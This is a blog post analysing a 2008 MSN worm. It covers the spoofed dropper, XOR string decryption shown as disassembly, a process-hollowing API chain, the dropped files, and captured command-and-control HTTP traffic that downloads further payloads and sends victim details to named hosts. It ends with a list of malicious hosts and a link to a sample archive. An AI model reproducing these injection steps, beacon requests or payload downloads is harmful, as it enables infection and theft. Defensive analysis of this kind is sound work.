Wednesday, November 12, 2008

A new MSN Worm

Are viruses attracted to me specifically or it happens to everyone and they just don't notice or say nothing about it. It getting really hard to speak with people using instant messengers and to be sure it is them sending you a message and not a virus.

Before i begin, let's notice a few close viruses :)
This: http://www.cisrt.org/enblog/read.php?106
Is a different one, older one from July. Reported and still not fully detected by vendors.

Now for the painful part, this:
http://blog.threatfire.com/2008/06/msn-im-worm.html
a little older variant that was covered in June!!! that is 5 month ago!! the detection rates were nasty, they still are as you will see afterwards...
The point I don't get is why don't AV vendors take care of the missed detections at least AFTER some security researcher publishes an analysis?!

I got a message from a friend who is currently having a trip in thailand and i was amazed to see that his computer sent me a message with a link with my msn email in it. I clicked the link and here a file download prompt pops up and the file name is: "virus-PIC006.JPG-www.myspace.exe".
Well, as tired as i may be, i would never be THAT tired to execute it :)

So i saved it and started to analyze!
Well what is it? it is a self extracting cab archive(almost original :) with resource details spoofed to be a microsoft file! (it even looks like it was edited manually using a tool such as Resource Hacker)
File Version: "6.0.2900.2180"
Description: "Win32 Cabinet Self-Extractor " (may be they thought we won't notice the spaces :)
Company: "Microsoft Corporation"
File Version: "6.00.2900.2180 (xpsp_sp2_rtm.040803-2158)"
Internal Name: "Wextract "
Language: "English (United States)"
Original File name: "WEXTRACT.EXE "
Product Name: "Microsoft® Windows® Operating System"
Product Version: "6.00.2900.2180"
























Well again it seems that Winrar is more effective than an Anti-Virus, where it detects it as a self-extracting archive so i know it's no simple exe:
























The funniest think about this "trap file" is that it has double extension of .jpg...........exe that comes with the default icon of a jpeg file






BUT when you switch to DETAILS view in the browser, then you see its 16x16 icon which is a setup icon:



Dear bad guys! use some of that money you steal to do some Q&A for your bot droppers!
O.K let's see if our friends know it:
























9 of 36...wow!
Could it be that Symantec, Mcafee, Kaspersky, F-Secure, Panda, Sophos all the great brands does not even suspect it?! and that Microsoft which is quite new in the AV business catches it?! I want to point out Dr. Web again for being a good detector(comparing to the concept of an Anti-Something) as Kaspersky once were, before they went to enterprise and from tech to GUI (if i was kaspersky, i would by dr web...just a thought)

So we extract the sfx and we get a file called test.exe with a jpg icon, this time it's not an archive, here comes the real shame, it is not even packed!!!
Let's see if our friends know it:
























it is just a simple VC++ executable that uses dynamic function calls with the simplest use of a rolling xor running on the string "somenigz', quite amusing :)

.text:0040122E mov [ebp+var_340], 0
.text:00401238 push offset Source ; "¦âöÉàöíâPÆöéé¦"
.text:0040123D call sub_401000
.text:00401242 add esp, 4
.text:00401245 push eax ; lpProcName
.text:00401246 push offset aFgqfaXaa ; "Üöâƒö¥-+¯ò¥¥"
.text:0040124B call sub_401000
.text:00401250 add esp, 4
.text:00401253 push eax ; lpModuleName
.text:00401254 call ds:GetModuleHandleA
.text:0040125A push eax ; hModule
.text:0040125B call ds:GetProcAddress

You can see these letters "Üöâƒö¥-+¯ò¥¥" which are clearly XORed sent to a function, the classic "decrypt my dll name and then the function in it and call it". Of course "sub_401000" is the decrypt function:

.text:0040105D Rolling_Xor_Loop: ; CODE XREF: sub_401000+85j
.text:0040105D mov edx, [ebp+var_C]
.text:00401060 add edx, 1
.text:00401063 mov [ebp+var_C], edx
.text:00401066
.text:00401066 loc_401066: ; CODE XREF: sub_401000+5Bj
.text:00401066 cmp [ebp+var_C], 9
.text:0040106A jnb short loc_401087
.text:0040106C mov eax, [ebp+Str]
.text:0040106F add eax, [ebp+var_8]
.text:00401072 mov ecx, [ebp+var_C]
.text:00401075 mov dl, [eax]
.text:00401077 xor dl, byte ptr aSomenigz[ecx] ; "somenigz"
.text:0040107D mov eax, [ebp+Str]
.text:00401080 add eax, [ebp+var_8]
.text:00401083 mov [eax], dl
.text:00401085 jmp short Rolling_Xor_Loop

Decoded XORed strings, by order, are:
CreateProcessA
kernel32.dll
NtUnmapViewOfSection
ntdll.dll
VirtualAllocEx
kernel32.dll
WriteProcessMemory
kernel32.dll
GetThreadContext
kernel32.dll
SetThreadContext
kernel32.dll
ResumeThread

This shows us this was not written by simple kids! this is a professional code injection using thread contexts, this teaches us that the guys "on the wild" have learned beyond besides CreateRemoteThread!!!

It seems that this version relates to: burimilol.com which is unknown to "norton safe web" (yeah right): https://safeweb.norton.com/report/show?name=burimilol.com but it's older variant is known "burimilol.net": https://safeweb.norton.com/report/show?name=burimilol.net
What separates us from the criminals is the "protected domain services" which is mostly used by criminals...again no internet cops :)

Now it executes itself! parses its duplicate's PE and sections and injects code into it!
Then it dumps a hidden exe in %windir%(c:\windows) called fxstaller.exe(48kb) which this time has a jpg icon in both the 32x32 and the 16x16 :)
























This exe drops/downloads image.exe(48kb) in a new temp folder in %temp%
























This results are crippy!!! i guess Dr.Web also failed and there is no one left to trust but Microsoft!
Then service.exe(144kb) is dropped at %windir$\system32\service.exe, a hidden file with a darth vader icon :)























This exe of darkness downloads and executes a file to c:\msn.exe


Now some deeper information, for the researchers among us. Why their url is not blocked?! because they are tricky!!!
They "try" do download http://www.freewebtown.com/tatrusa/test2.jpg which redirects to
http://fwt.txdnl.com/6-40/t/a/tatrusa/test2.jpg
Then it requests
GET /cn?sid=40545F5A4F1F545B365C365836085B51363A0C1B1F000A0C4939080A02495B4F0A000D542F5C2B282F2D5A5C5A2D5E2C5D5A5B282B2B5E582C5F5151592D2C515D2A5A5A4F081D544F131854594F1D1954594F080F0F000D54585F515D51504F04061B1901000D5408075B0E4F1B0C1F000D54505C505B692901 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: 85.17.166.233

And gets

HTTP/1.1 200 OK
Date: Thu, 13 Nov 2008 00:04:56 GMT
Server: Apache/2.0.61 (FreeBSD) PHP/5.2.3 with Suhosin-Patch mod_fastcgi/2.4.2
Set-Cookie: sid=EE1DDFD5947B45F595556BD6D7E9C1A7; expires=Sat, 07-Nov-2009 19:04:56 GMT

g_InstallDll: http://77.93.75.153/img/upd.dll
Content-Length: 127
Connection: close
Content-Type: text/html

34034a4615431643424540474651151e4a4640445116034a354344403134363435464641464633333543454346414f434f4e3431313131315104114a047743

Then it sends stuff about me, to get the commands for this cool trojan!

POST / HTTP/1.1
g_Version: 1156
g_ClientGUID: ,`Xc,q!`!q-Kk!JcXX-yK9NNGqKNk=!!
g_UID: Xk!-,=c=Xyy9yyqqXkJky9NkNh=,,,,,
g_SetID: [QJx
g_AffiliateID: y9NkNh
g_ResourceID: MnOM
g_URL: 8

g_Client: .Sf"yhJ:y9N:y!y:9` %?[H[Q]F:FBxFf@8/FQ"`:y:J9GGg)O?BFVO S[VE Ji8.K"-:G:`-!G:y!8vR"^yJG8Z}V"|OW?Om8*) uOxFfUO?On U}" =?}m8rc="GG^G!^aa^NG^`9^Gk8*K [VV}]QUf"0S*S!p[IO"f[n[f)rvSp[IO"f[n[fb8 =?}m86Wn"GGGGGkGh>#GGGGGkGq8p]IWO? }a H?}VOff}?f" y8.f_fO?cnIFQ" 1Of8o)]VV=}QQ"QOBO?o=}QQ"QOBO?o=}QQp]I"Go,FAO" ="z/.pq*/)zf~fUOI!JzQQQAPFF.:nAAo.QF fFMO" !kkoqOaX?}mfO?"D="zS?}x?[I ,FAOfz.QUO?QOU KYHA}?O?z.KeSZ*uK:KeKD ^Q}'}IOoqOfEU}H)~fUOI"qOfEU}Ho
g_GZipSupported: U?]O
g_RevID: h9J-
g_First: y
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: bescoro.com
Content-Length: 37
Cache-Control: no-cache

)vcv.)v.=) 0%nDDn@%r}MFAA[|FfU}?~" @b

And gets:
HTTP/1.1 200 Ok
Server: nginx/0.5.35
Date: Thu, 13 Nov 2008 00:05:26 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: close
Pragma: No-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Length: 219
Content-Language: en
Set-Cookie: uid=Xk!-,=c=Xyy9yyqqXkJky9NkNh=,,,,,; expires=Mon, 09-Dec-2007 13:46:00 GMT
Set-Cookie: guid=,`Xc,q!`!q-Kk!JcXX-yK9NNGqKNk=!!; expires=Mon, 09-Dec-2007 13:46:00 GMT
Set-Cookie: cn=y; expires=Mon, 09-Dec-2007 13:46:00 GMT
Location:
Test: [B[FA
g_AdCategory: )}IO
g_ConnectionPerDay: k
g_MaxCategoryAppearances:
g_Popup: U?]O
g_PopupPerDay: yGy
g_RSD: 'UUH"88}WFOWO:V}I8x}88o'UUH"88nO?}]fUF:V}I8x}88o
g_RedirectServers: 'UUH"88NJ:hN:J!`:!`8x}88o'UUH"88N`:y-:y99:y-G8x}88o'UUH"88N!:ykh:yy`:ykN8x}88o
g_RevFlag: G
g_ServerIPs: gWOfV}?}:V}I"NGigNh:yNN:y9:!9"NGigN!:ykh:yy`:yk-"NGi
g_SetIDWas: _Q?OAO[fOn
g_StatisticsUploadDelay: y
g_StealFocus: a[AfO
g_UID: Xk!-,=c=Xyy9yyqqXkJky9NkNh=,,,,,
g_URL: 8

Y.r.r..G.....=......Q..|$u..kM.+`.......u..-.L..7...7{G.
.w.=.(r...%.......u........NsGD.a.2...g.d....I.6..:T.............R.L_......$6.G.......RZeZ>
+=/~..`Y. ........B........X
..'.a.b..7...O>n.i..Y.._9_%.
...qre../.p.

Then it "trys" to download http://www.freewebtown.com/tatrusa/oos.jpg and again redirected to: http://fwt.txdnl.com/6-40/t/a/tatrusa/oos.jpg
Then it downloads http://www.j2arts.com/images/msn.exe to c:\msn.exe
From here it looks like it is the same old tech viruses (keyloggers and the classics, i don't have time for these files.....):
rundll32.exe C:\WINDOWS\system32\vtUolLBS.dll,a (vtUolLBS == random name)
rundll32.exe C:\WINDOWS\system32\nnnljiiI.dll,c
rundll32.exe C:\WINDOWS\system32\iifgHbyY.dll,a

So let's summarize!

Evil hosts:
burimilol.net
burimilol.com
www.j2arts.com
www.freewebtown.com
fwt.txdnl.com
bescoro.com
77.93.75.153
85.17.166.233

The AV vendors should receive my scanned files from virustotal.
I will also make an exception on this one and upload a sample for all the involved executable!
http://www.linkstofiles.com/MSNWorm.rar
archive password: "virus"

Stop them, sue them, black list them, hack them, they are stealing from all of us!
Fight for digital law enforcement!!!

1 comment:

Anonymous said...

did you get it from me (internet cafe' around here)?

cool analysis anyway, good work.
i think you should inform websense or some other dudes btw.